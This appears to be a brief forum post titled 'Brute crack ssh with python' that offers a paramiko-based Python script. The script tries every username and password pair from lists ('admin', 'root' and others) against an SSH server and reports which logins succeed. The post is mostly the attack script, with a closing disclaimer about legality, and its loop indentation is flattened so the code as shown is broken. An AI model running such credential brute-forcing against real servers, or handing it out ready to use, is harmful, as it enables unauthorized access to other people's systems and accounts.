Brute crack ssh with python

[camilo]

To check a list of usernames and passwords on an SSH protocol, you can write a Python script that uses the `paramiko` library to establish an SSH connection to a target server and attempt to authenticate with each username and password combination in the list. Here is an example script:
Python:

import paramiko
target_host = 'example.com'
target_port = 22
usernames = ['admin', 'root', 'user']
passwords = ['password1', 'password2', 'password3']
for username in usernames:
for password in passwords:
try:
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(target_host, port=target_port, username=username, password=password)
print(f'Successful login: {username}:{password}')
ssh_client.close()
except paramiko.AuthenticationException:
print(f'Failed login: {username}:{password}')

This script attempts to authenticate with each username and password combination in the `usernames` and `passwords` lists by establishing an SSH connection to the target server using the `paramiko` library. If the authentication is successful, the script prints a message indicating the successful login. If the authentication fails, the script prints a message indicating the failed login.
Note that attempting to check a list of usernames and passwords on an SSH protocol without the proper authorization and permission is illegal and can result in serious legal consequences. This script is provided for educational purposes only and should not be used for malicious activities.